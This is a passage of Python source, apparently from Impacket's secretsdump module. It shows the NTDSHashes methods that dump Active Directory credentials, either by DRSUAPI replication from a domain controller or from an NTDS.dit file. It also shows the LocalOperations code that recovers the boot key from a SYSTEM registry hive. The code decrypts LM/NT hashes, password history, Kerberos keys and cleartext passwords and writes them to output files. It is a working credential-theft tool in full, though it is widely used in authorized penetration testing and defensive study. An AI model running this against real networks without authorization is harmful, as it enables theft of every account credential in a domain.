tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
|
|
|
|
for i in range(0, len(tmpNTHistory) // 16):
|
|
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
|
NTHistory.append(NTHash)
|
|
|
|
for i, (LMHash, NTHash) in enumerate(
|
|
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
|
if self.__noLMHash:
|
|
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
|
else:
|
|
lmhash = hexlify(LMHash)
|
|
|
|
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
|
|
hexlify(NTHash).decode('utf-8'))
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
|
|
else:
|
|
replyVersion = 'V%d' %record['pdwOutVersion']
|
|
LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
domain = None
|
|
if self.__history:
|
|
LMHistory = []
|
|
NTHistory = []
|
|
|
|
rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
|
|
|
|
for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
|
try:
|
|
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
|
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
|
except Exception as e:
|
|
LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
|
|
LOG.debug('Exception', exc_info=True)
|
|
# Fallbacking to fixed table and hope for the best
|
|
attId = attr['attrTyp']
|
|
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
|
|
|
if attId == LOOKUP_TABLE['dBCSPwd']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
|
|
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
|
|
else:
|
|
LMHash = ntlm.LMOWFv1('', '')
|
|
elif attId == LOOKUP_TABLE['unicodePwd']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
|
|
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
|
|
else:
|
|
NTHash = ntlm.NTOWFv1('', '')
|
|
elif attId == LOOKUP_TABLE['userPrincipalName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
|
except:
|
|
domain = None
|
|
else:
|
|
domain = None
|
|
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
|
except:
|
|
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
else:
|
|
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
elif attId == LOOKUP_TABLE['objectSid']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
else:
|
|
LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
objectSid = rid
|
|
elif attId == LOOKUP_TABLE['pwdLastSet']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
|
|
except:
|
|
LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
pwdLastSet = 'N/A'
|
|
elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
|
|
userAccountStatus = 'Disabled'
|
|
else:
|
|
userAccountStatus = 'Enabled'
|
|
else:
|
|
userAccountStatus = 'N/A'
|
|
|
|
if self.__history:
|
|
if attId == LOOKUP_TABLE['lmPwdHistory']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
|
|
for i in range(0, len(tmpLMHistory) // 16):
|
|
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
|
LMHistory.append(LMHashHistory)
|
|
else:
|
|
LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
elif attId == LOOKUP_TABLE['ntPwdHistory']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
|
|
for i in range(0, len(tmpNTHistory) // 16):
|
|
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
|
NTHistory.append(NTHashHistory)
|
|
else:
|
|
LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
|
|
if domain is not None:
|
|
userName = '%s\\%s' % (domain, userName)
|
|
|
|
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
|
|
if self.__pwdLastSet is True:
|
|
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
|
if self.__printUserStatus is True:
|
|
answer = "%s (status=%s)" % (answer, userAccountStatus)
|
|
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
|
|
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
|
|
if self.__history:
|
|
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
|
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
|
if self.__noLMHash:
|
|
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
|
else:
|
|
lmhash = hexlify(LMHashHistory)
|
|
|
|
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
|
|
hexlify(NTHashHistory).decode('utf-8'))
|
|
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
|
|
if outputFile is not None:
|
|
outputFile.flush()
|
|
|
|
LOG.debug('Leaving NTDSHashes.__decryptHash')
|
|
|
|
def dump(self):
|
|
hashesOutputFile = None
|
|
keysOutputFile = None
|
|
clearTextOutputFile = None
|
|
|
|
if self.__useVSSMethod is True:
|
|
if self.__NTDS is None:
|
|
# No NTDS.dit file provided and were asked to use VSS
|
|
return
|
|
else:
|
|
if self.__NTDS is None:
|
|
# DRSUAPI method, checking whether target is a DC
|
|
try:
|
|
if self.__remoteOps is not None:
|
|
try:
|
|
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
|
|
except:
|
|
if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:
|
|
# RemoteOperations failed. That might be because there was no way to log into the
|
|
# target system. We just have a last resort. Hope we have tickets cached and that they
|
|
# will work
|
|
pass
|
|
else:
|
|
raise
|
|
else:
|
|
raise Exception('No remote Operations available')
|
|
except Exception as e:
|
|
LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
|
|
# Target's not a DC
|
|
return
|
|
|
|
try:
|
|
# Let's check if we need to save results in a file
|
|
if self.__outputFileName is not None:
|
|
LOG.debug('Saving output to %s' % self.__outputFileName)
|
|
# We have to export. Are we resuming a session?
|
|
if self.__resumeSession.hasResumeData():
|
|
mode = 'a+'
|
|
else:
|
|
mode = 'w+'
|
|
hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
|
|
if self.__justNTLM is False:
|
|
keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)
|
|
clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)
|
|
|
|
LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
|
|
if self.__useVSSMethod:
|
|
# We start getting rows from the table aiming at reaching
|
|
# the pekList. If we find users records we stored them
|
|
# in a temp list for later process.
|
|
self.__getPek()
|
|
if self.__PEK is not None:
|
|
LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
|
|
# First of all, if we have users already cached, let's decrypt their hashes
|
|
for record in self.__tmpUsers:
|
|
try:
|
|
self.__decryptHash(record, outputFile=hashesOutputFile)
|
|
if self.__justNTLM is False:
|
|
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
|
except Exception as e:
|
|
LOG.debug('Exception', exc_info=True)
|
|
try:
|
|
LOG.error(
|
|
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
|
LOG.error(str(e))
|
|
pass
|
|
except:
|
|
LOG.error("Error while processing row!")
|
|
LOG.error(str(e))
|
|
pass
|
|
|
|
# Now let's keep moving through the NTDS file and decrypting what we find
|
|
while True:
|
|
try:
|
|
record = self.__ESEDB.getNextRow(self.__cursor)
|
|
except:
|
|
LOG.error('Error while calling getNextRow(), trying the next one')
|
|
continue
|
|
|
|
if record is None:
|
|
break
|
|
try:
|
|
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
|
self.__decryptHash(record, outputFile=hashesOutputFile)
|
|
if self.__justNTLM is False:
|
|
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
|
except Exception as e:
|
|
LOG.debug('Exception', exc_info=True)
|
|
try:
|
|
LOG.error(
|
|
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
|
LOG.error(str(e))
|
|
pass
|
|
except:
|
|
LOG.error("Error while processing row!")
|
|
LOG.error(str(e))
|
|
pass
|
|
else:
|
|
LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
|
|
status = STATUS_MORE_ENTRIES
|
|
enumerationContext = 0
|
|
|
|
# Do we have to resume from a previously saved session?
|
|
if self.__resumeSession.hasResumeData():
|
|
resumeSid = self.__resumeSession.getResumeData()
|
|
LOG.info('Resuming from SID %s, be patient' % resumeSid)
|
|
else:
|
|
resumeSid = None
|
|
# We do not create a resume file when asking for a single user
|
|
if self.__justUser is None:
|
|
self.__resumeSession.beginTransaction()
|
|
|
|
if self.__justUser is not None:
|
|
# Depending on the input received, we need to change the formatOffered before calling
|
|
# DRSCrackNames.
|
|
# There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
|
|
# That's because we don't specify the domain for the user (and there might be duplicates)
|
|
# Always remember that if you specify a domain, you should specify the NetBIOS domain name,
|
|
# not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
|
|
if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:
|
|
self.__justUser = self.__justUser.replace('/','\\')
|
|
formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
|
|
else:
|
|
formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
|
|
|
|
crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
|
|
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
|
|
name=self.__justUser)
|
|
|
|
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
|
|
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
|
|
raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
|
|
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
|
|
|
|
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
|
|
#userRecord.dump()
|
|
replyVersion = 'V%d' % userRecord['pdwOutVersion']
|
|
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
|
|
raise Exception('DRSGetNCChanges didn\'t return any object!')
|
|
else:
|
|
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
|
|
crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
|
|
try:
|
|
self.__decryptHash(userRecord,
|
|
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
|
|
hashesOutputFile)
|
|
if self.__justNTLM is False:
|
|
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
|
|
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
|
|
|
|
except Exception as e:
|
|
LOG.error("Error while processing user!")
|
|
LOG.debug("Exception", exc_info=True)
|
|
LOG.error(str(e))
|
|
else:
|
|
while status == STATUS_MORE_ENTRIES:
|
|
resp = self.__remoteOps.getDomainUsers(enumerationContext)
|
|
|
|
for user in resp['Buffer']['Buffer']:
|
|
userName = user['Name']
|
|
|
|
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
|
|
if resumeSid is not None:
|
|
# Means we're looking for a SID before start processing back again
|
|
if resumeSid == userSid.formatCanonical():
|
|
# Match!, next round we will back processing
|
|
LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical())
|
|
resumeSid = None
|
|
else:
|
|
LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical())
|
|
continue
|
|
|
|
# Let's crack the user sid into DS_FQDN_1779_NAME
|
|
# In theory I shouldn't need to crack the sid. Instead
|
|
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
|
|
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
|
|
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
|
|
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
|
|
name=userSid.formatCanonical())
|
|
|
|
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
|
|
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
|
|
LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
|
|
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
|
|
break
|
|
userRecord = self.__remoteOps.DRSGetNCChanges(
|
|
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
|
|
# userRecord.dump()
|
|
replyVersion = 'V%d' % userRecord['pdwOutVersion']
|
|
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
|
|
raise Exception('DRSGetNCChanges didn\'t return any object!')
|
|
else:
|
|
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
|
|
crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
|
|
try:
|
|
self.__decryptHash(userRecord,
|
|
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
|
|
hashesOutputFile)
|
|
if self.__justNTLM is False:
|
|
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
|
|
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
|
|
|
|
except Exception as e:
|
|
LOG.error("Error while processing user!")
|
|
LOG.debug("Exception", exc_info=True)
|
|
LOG.error(str(e))
|
|
|
|
# Saving the session state
|
|
self.__resumeSession.writeResumeData(userSid.formatCanonical())
|
|
|
|
enumerationContext = resp['EnumerationContext']
|
|
status = resp['ErrorCode']
|
|
|
|
# Everything went well and we covered all the users
|
|
# Let's remove the resume file is we had created it
|
|
if self.__justUser is None:
|
|
self.__resumeSession.clearResumeData()
|
|
|
|
LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
|
|
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
|
|
if len(self.__kerberosKeys) > 0:
|
|
if self.__useVSSMethod is True:
|
|
LOG.info('Kerberos keys from %s ' % self.__NTDS)
|
|
else:
|
|
LOG.info('Kerberos keys grabbed')
|
|
|
|
for itemKey in list(self.__kerberosKeys.keys()):
|
|
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
|
|
|
|
# And finally the cleartext pwds
|
|
if len(self.__clearTextPwds) > 0:
|
|
if self.__useVSSMethod is True:
|
|
LOG.info('ClearText password from %s ' % self.__NTDS)
|
|
else:
|
|
LOG.info('ClearText passwords grabbed')
|
|
|
|
for itemKey in list(self.__clearTextPwds.keys()):
|
|
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
|
|
finally:
|
|
# Resources cleanup
|
|
if hashesOutputFile is not None:
|
|
hashesOutputFile.close()
|
|
|
|
if keysOutputFile is not None:
|
|
keysOutputFile.close()
|
|
|
|
if clearTextOutputFile is not None:
|
|
clearTextOutputFile.close()
|
|
|
|
self.__resumeSession.endTransaction()
|
|
|
|
@classmethod
|
|
def __writeOutput(cls, fd, data):
|
|
try:
|
|
fd.write(data)
|
|
except Exception as e:
|
|
LOG.error("Error writing entry, skipping (%s)" % str(e))
|
|
pass
|
|
|
|
def finish(self):
|
|
if self.__NTDS is not None:
|
|
self.__ESEDB.close()
|
|
|
|
class LocalOperations:
|
|
def __init__(self, systemHive):
|
|
self.__systemHive = systemHive
|
|
|
|
def getBootKey(self):
|
|
# Local Version whenever we are given the files directly
|
|
bootKey = b''
|
|
tmpKey = b''
|
|
winreg = winregistry.Registry(self.__systemHive, False)
|
|
# We gotta find out the Current Control Set
|
|
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
for key in ['JD', 'Skew1', 'GBG', 'Data']:
|
|
LOG.debug('Retrieving class info for %s' % key)
|
|
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
|
|
digit = ans[:16].decode('utf-16le')
|
|
tmpKey = tmpKey + b(digit)
|
|
|
|
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
|
|
|
|
tmpKey = unhexlify(tmpKey)
|
|
|
|
for i in range(len(tmpKey)):
|
|
bootKey += tmpKey[transforms[i]:transforms[i] + 1]
|
|
|
|
LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))
|
|
|
|
return bootKey
|
|
|
|
|
|
def checkNoLMHashPolicy(self):
|
|
LOG.debug('Checking NoLMHash Policy')
|
|
winreg = winregistry.Registry(self.__systemHive, False)
|
|
# We gotta find out the Current Control Set
|
|
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
|
|
# noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
|
|
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
|
|
if noLmHash is not None:
|
|
noLmHash = noLmHash[1]
|
|
else:
|
|
noLmHash = 0
|
|
|
|
if noLmHash != 1:
|
|
LOG.debug('LMHashes are being stored')
|
|
return False
|
|
LOG.debug('LMHashes are NOT being stored')
|
|
return True
|
|
|
|
def _print_helper(*args, **kwargs):
|
|
if LOG.level <40:
|
|
print(args[-1])
|